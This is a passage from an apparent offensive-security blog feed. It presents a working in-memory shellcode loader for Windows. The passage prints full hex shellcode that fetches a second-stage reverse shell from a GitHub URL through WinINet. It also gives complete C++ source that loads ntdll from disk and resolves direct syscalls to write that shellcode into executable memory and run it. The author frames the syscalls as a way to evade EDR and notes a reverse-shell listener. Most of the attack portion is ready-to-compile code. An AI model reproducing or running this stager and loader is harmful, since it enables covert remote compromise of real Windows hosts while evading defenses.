<span class="s">"</span><span class="se">\x00\x00\x4c\x8d\x4c\x24\xd0\x48\x31\xc0\x41\xff\xd5\x85\xc0\x74\x11\x83\x7c\x24\xd0\x00\x76\x0a\x8b</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x4c\x24\xd0\x89\x4c\x24\xc0\xeb\xd3\x48\x89\xf1\x41\xff\xd4\x48\x89\xf9\x41\xff\xd4\xb9\x00\x00\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x00\xba\x00\x50\x00\x00\x41\xb8\x00\x30\x00\x00\x41\xb9\x40\x00\x00\x00\x48\x8b\x84\x24\xb0\x00\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x00\xff\xd0\x50\x59\x4c\x89\xfa\x41\xb8\xe8\x03\x00\x00\x48\x8b\x84\x24\xa8\x00\x00\x00\xff\xd0\x50</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x48\x31\xc9\x48\x31\xd2\x41\x58\x4d\x31\xc9\xc7\x44\x24\x20\x00\x00\x00\x00\x48\xc7\x44\x24\x28\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x00\x00\x00\x48\x8b\x84\x24\x88\x00\x00\x00\xff\xd0\x48\x89\xc1\xba\xff\xff\xff\xff\x48\x8b\x9c\x24</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xc8\x00\x00\x00\xff\xd3\x31\xc9\x48\x8b\x84\x24\x90\x00\x00\x00\xff\xd0</span><span class="s">"</span><span class="p">;</span>
</code></pre></div></div>

<p>This is the de facto shellcode that downloads and executes, funny enough, more shellcode (a reverse shell) LOL.  So yeah, we’re loading shellcode that downloads and executes more shellcode haha. Now, let’s transfer this to our direct syscall based c++ code to load it up and work some magic!</p>

<h2 id="using-our-pic-formatted-shellcode-with-direct-syscalls">Using our PIC formatted shellcode with Direct Syscalls</h2>

<p>Once again, I’m not going to go over a lot of detail here.  This is code that uses the direct syscall method for loading APIs via syscalls.  In short, I load <code class="language-plaintext highlighter-rouge">ntdll</code> from disk and find the syscall number.  We gather the syscall numbers for the following windows APIs</p>

<ul>
  <li>void* cleanNtAllocate = ntdll.GetProcAddress(“NtAllocateVirtualMemory”);</li>
  <li>void* cleanNtWrite = ntdll.GetProcAddress(“NtWriteVirtualMemory”);</li>
  <li>void* cleanNtCreate = ntdll.GetProcAddress(“NtCreateThreadEx”);</li>
</ul>

<p>Here’s the portion of code that collects the syscall ID from each API:</p>

<blockquote>
  <p>syscall stub contents and address + SyscallID</p>
</blockquote>

<p><img width="1577" height="607" alt="image" src="https://github.com/user-attachments/assets/7431d6fd-b1f5-4abb-bf9d-307e14f32c49" /></p>

<blockquote>
  <p>allocating 32 bytes for the stub</p>
</blockquote>

<p><img width="658" height="188" alt="image" src="https://github.com/user-attachments/assets/26ca5102-7343-4feb-bf16-8db7802938a9" /></p>

<p>The entire source code, including the ManualNtdll.h and other cpp files can be found in the link below.</p>

<p>I’m also including the assembly source code in the link as well:</p>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-8-23-Using%20Direct%20Syscalls%20with%20an%20In-Memory%20PIC%20Shellcode%20Loader">Assembly Code + Syscall and PIC shellcode loader - Source Code</a></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;winternl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">"ManualNtdll.h"</span><span class="cp">
</span>
<span class="c1">// Typedefs for syscalls</span>
<span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span> <span class="n">NtAllocateVirtualMemory_t</span><span class="p">)(</span>
    <span class="n">HANDLE</span><span class="p">,</span> <span class="n">PVOID</span><span class="o">*</span><span class="p">,</span> <span class="n">ULONG_PTR</span><span class="p">,</span> <span class="n">PSIZE_T</span><span class="p">,</span> <span class="n">ULONG</span><span class="p">,</span> <span class="n">ULONG</span><span class="p">);</span>

<span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span> <span class="n">NtWriteVirtualMemory_t</span><span class="p">)(</span>
    <span class="n">HANDLE</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">,</span> <span class="n">SIZE_T</span><span class="p">,</span> <span class="n">PSIZE_T</span><span class="p">);</span>

<span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span> <span class="n">NtCreateThreadEx_t</span><span class="p">)(</span>
    <span class="n">PHANDLE</span><span class="p">,</span> <span class="n">ACCESS_MASK</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">,</span> <span class="n">HANDLE</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">,</span>
    <span class="n">ULONG</span><span class="p">,</span> <span class="n">SIZE_T</span><span class="p">,</span> <span class="n">SIZE_T</span><span class="p">,</span> <span class="n">SIZE_T</span><span class="p">,</span> <span class="n">PVOID</span><span class="p">);</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">ManualNtdll</span> <span class="n">ntdll</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ntdll</span><span class="p">.</span><span class="n">LoadFromDisk</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">ntdll.dll"</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to load clean ntdll from disk.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Resolve NtAllocateVirtualMemory</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">cleanNtAllocate</span> <span class="o">=</span> <span class="n">ntdll</span><span class="p">.</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="s">"NtAllocateVirtualMemory"</span><span class="p">);</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">cleanNtWrite</span> <span class="o">=</span> <span class="n">ntdll</span><span class="p">.</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="s">"NtWriteVirtualMemory"</span><span class="p">);</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">cleanNtCreate</span> <span class="o">=</span> <span class="n">ntdll</span><span class="p">.</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="s">"NtCreateThreadEx"</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cleanNtAllocate</span> <span class="o">||</span> <span class="o">!</span><span class="n">cleanNtWrite</span> <span class="o">||</span> <span class="o">!</span><span class="n">cleanNtCreate</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to find required syscall(s).</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">auto</span> <span class="n">pNtAllocate</span> <span class="o">=</span> <span class="p">(</span><span class="n">NtAllocateVirtualMemory_t</span><span class="p">)</span><span class="n">ntdll</span><span class="p">.</span><span class="n">ResolveSyscallStub</span><span class="p">(</span><span class="n">cleanNtAllocate</span><span class="p">);</span>
    <span class="k">auto</span> <span class="n">pNtWrite</span> <span class="o">=</span> <span class="p">(</span><span class="n">NtWriteVirtualMemory_t</span><span class="p">)</span><span class="n">ntdll</span><span class="p">.</span><span class="n">ResolveSyscallStub</span><span class="p">(</span><span class="n">cleanNtWrite</span><span class="p">);</span>
    <span class="k">auto</span> <span class="n">pNtCreate</span> <span class="o">=</span> <span class="p">(</span><span class="n">NtCreateThreadEx_t</span><span class="p">)</span><span class="n">ntdll</span><span class="p">.</span><span class="n">ResolveSyscallStub</span><span class="p">(</span><span class="n">cleanNtCreate</span><span class="p">);</span>

    <span class="c1">// shellcode that we custom made which uses the wininet InternetOpen "suite" to download shellcode from github</span>
    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span>
        <span class="s">"</span><span class="se">\x90\x90\x90\x90\x90\x90\x90\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x89\xdd\x4c\x89\xd1\x67\xe3\x0e\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\xeb\x1e\xeb\x7f\xff\xc1\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x45\x8b\x3c\x8b\x4d\x01\xc7\x41\x57\x4d\x89\xeb\xff\xc9\xeb\xd1\x31\xc0\x48\x89\xde\x48\x31\xdb\x8a\x1e\x84\xdb\x74\x0a\xc1\xc0\x05\x31\xd8\x48\xff\xc6\xeb\xf0\x3d\x35\x8d\x77\x80\x74\xc5\x3d\xca\x5a\x15\x4a\x74\xbe\x3d\x78\x95\xb7\x85\x74\xb7\x3d\x33\x8a\x8d\xb6\x74\xb0\x3d\x95\xfe\xde\xc7\x74\xa9\x3d\x1b\x01\xa1\xa4\x74\xa2\x3d\x93\xb6\x36\xe5\x74\x9b\x3d\xa7\x70\xdb\xe3\x74\x94\x3d\xfd\x5a\xfc\xce\x74\x8d\x3d\x64\x71\x27\xd7\x74\x86\xe9\x6e\xff\xff\xff\x48\xb8\x77\x69\x6e\x69\x6e\x65\x74\x90\x48\xc1\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe1\x48\x83\xec\x28\x48\x8b\x44\x24\x50\xff\xd0\x48\x83\xc4\x30\x48\x89\xc7\x48\x89\xf9\x48\xb8\x4f\x70\x65\x6e\x41\x90\x90\x90\x48\xc1\xe0\x18\x48\xc1\xe8\x18\x50\x48\xb8\x49\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x48\x8b\x44\x24\x58\x48\x89\xc6\xff\xd0\x48\x83\xc4\x30\x49\x89\xc7\x48\x31\xc0\x50\x48\x89\xf9\x48\xb8\x4f\x70\x65\x6e\x55\x72\x6c\x41\x50\x48\xb8\x49\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89\xc6\x48\x89\xf9\x48\x31\xc0\x50\x48\xb8\x52\x65\x61\x64\x46\x69\x6c\x65\x50\x48\xb8\x49\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89\xc5\x48\x89\xf9\xb8\x64\x6c\x65\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x43\x6c\x6f\x73\x65\x48\x61\x6e\x50\x48\xb8\x49\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89\xc4\x48\x31\xd2\xb8\x35\x2e\x30\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x50\x48\x89\xe1\xba\x01\x00\x00\x00\x4d\x31\xc0\x4d\x31\xc9\x48\xc7\x44\x24\x20\x00\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x48\x89\xc7\xb9\x00\x00\x00\x00\xba\x00\x50\x00\x00\x41\xb8\x00\x30\x00\x00\x41\xb9\x04\x00\x00\x00\x48\x83\xc4\x60\x48\x8b\x44\x24\x50\x48\x89\xc6\xff\xd0\x41\x5f\xb9\x00\x00\x00\x00\xba\x00\x01\x00\x00\x41\xb8\x00\x30\x00\x00\x41\xb9\x04\x00\x00\x00\x48\x89\xf0\xff\xd0\x50\x4c\x8b\x4c\x24\x48\x5e\x48\x81\xec\x98\x00\x00\x00\x48\xb8\x65\x67\x2e\x64\x79\x6e\x6f\x90\x48\xc1\xe0\x08\x48\xc1\xe8\x08\x50\x48\xb8\x73\x2f\x6d\x61\x69\x6e\x2f\x72\x50\x48\xb8\x65\x66\x73\x2f\x68\x65\x61\x64\x50\x48\xb8\x61\x72\x2f\x72\x61\x77\x2f\x72\x50\x48\xb8\x65\x72\x74\x68\x65\x72\x61\x64\x50\x48\xb8\x73\x74\x33\x6d\x2f\x75\x6e\x64\x50\x48\xb8\x6f\x6d\x2f\x67\x33\x74\x73\x79\x50\x48\xb8\x67\x69\x74\x68\x75\x62\x2e\x63\x50\x48\xb8\x68\x74\x74\x70\x73\x3a\x2f\x2f\x50\x49\x89\xe0\x48\x89\xf1\x4c\x89\xc2\x4d\x31\xc0\x41\xb8\x47\x00\x00\x00\x41\xff\xd1\x48\x83\xc4\x58\x48\x89\xf9\x48\x89\xf2\x45\x31\xc0\x45\x31\xc9\xc7\x44\x24\x20\x00\x00\x00\x04\x48\xc7\x44\x24\x28\x00\x00\x00\x00\x41\xff\xd6\x48\x83\xc4\x28\x50\x48\x8b\x34\x24\x48\x8b\x0c\x24\x4c\x89\xfa\x41\xb8\x00\x10\x00\x00\x4c\x8d\x4c\x24\xd0\x48\x31\xc0\x41\xff\xd5\x85\xc0\x74\x11\x83\x7c\x24\xd0\x00\x76\x0a\x8b\x4c\x24\xd0\x89\x4c\x24\xc0\xeb\xd3\x48\x89\xf1\x41\xff\xd4\x48\x89\xf9\x41\xff\xd4\xb9\x00\x00\x00\x00\xba\x00\x50\x00\x00\x41\xb8\x00\x30\x00\x00\x41\xb9\x40\x00\x00\x00\x48\x8b\x84\x24\xb0\x00\x00\x00\xff\xd0\x50\x59\x4c\x89\xfa\x41\xb8\xe8\x03\x00\x00\x48\x8b\x84\x24\xa8\x00\x00\x00\xff\xd0\x50\x48\x31\xc9\x48\x31\xd2\x41\x58\x4d\x31\xc9\xc7\x44\x24\x20\x00\x00\x00\x00\x48\xc7\x44\x24\x28\x00\x00\x00\x00\x48\x8b\x84\x24\x88\x00\x00\x00\xff\xd0\x48\x89\xc1\xba\xff\xff\xff\xff\x48\x8b\x9c\x24\xc8\x00\x00\x00\xff\xd3\x31\xc9\x48\x8b\x84\x24\x90\x00\x00\x00\xff\xd0</span><span class="s">"</span><span class="p">;</span>

    <span class="n">PVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
    <span class="n">SIZE_T</span> <span class="n">size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

    <span class="n">NTSTATUS</span> <span class="n">status</span> <span class="o">=</span> <span class="n">pNtAllocate</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">baseAddress</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">,</span>
        <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">status</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] NtAllocateVirtualMemory failed. Error code: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">status</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Memory allocated at "</span> <span class="o">&lt;&lt;</span> <span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>

    <span class="n">SIZE_T</span> <span class="n">bytesWritten</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">status</span> <span class="o">=</span> <span class="n">pNtWrite</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">status</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] NtWriteVirtualMemory failed. Error code: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">status</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Wrote "</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">" bytes of shellcode.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>

    <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
    <span class="n">status</span> <span class="o">=</span> <span class="n">pNtCreate</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">GetCurrentProcess</span><span class="p">(),</span>
        <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">status</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] NtCreateThreadEx failed. Error code: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">status</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Thread created! Waiting for execution...</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile and run, and you can turn your EDR back on if you want as well 😄   Though no guarantees this will not be detected.  It all depends on a number of factors but I’ve had some great success with it.  Use responsibly of course.  After you compile and run, you should be greeted with a reverse shell as long as you setup your listener for localhost (127.0.0.1) and port 9001.</p>

<p><img width="1902" height="1015" alt="image" src="https://github.com/user-attachments/assets/3e37a139-6d82-4b57-9240-68f9067155d3" /></p>

<p>Thanks, and if you enjoyed this stay tuned for the next time when I discuss PE loaders and PE injection techniques!  Looking forward to it.  Also I need to continue working on my shellcode video series.
If you’re interested in that please do let me know.  I think it’s going to be a lot of fun, entertaining, and informative 😸</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1085" height="900" alt="image" src="https://github.com/user-attachments/assets/01be980b-8c20-4fb2-86bf-08f900d3e4fa" /></p>

<p><img width="1105" height="205" alt="image" src="https://github.com/user-attachments/assets/7c0dacc4-40e2-40a5-bbf9-643cdaa5ea10" /></p>

<p><a href="https://app.any.run/tasks/8b7d6892-9f0b-494f-bb21-aa92a064ac0a">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>

<p>See you guys next time!</p>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Fileless Techniques" /><category term="obfuscation" /><category term="shellcode loader" /><category term="2025" /><category term="PIC shellcode" /><category term="g3tsyst3m" /><category term="Stager" /><category term="In-Memory" /><category term="PE Loader" /><category term="Direct Syscalls" /><category term="Windows 11" /><summary type="html"><![CDATA[Today’s post began in an unusual manner lol. I wanted to explore the basic concept of creating an in-memory shellcode loader using APIs from the Wininet.h library. I then got sidetracked and became interested in doing this purely using x64 assembly, which in turn led me to want to make it PIC friendly 😸 Furthermore, I also wanted to include the use of syscalls to help reduce detection at the EDR layer. 😹 All of that to just load some reverse shell shellcode.]]></summary></entry></feed>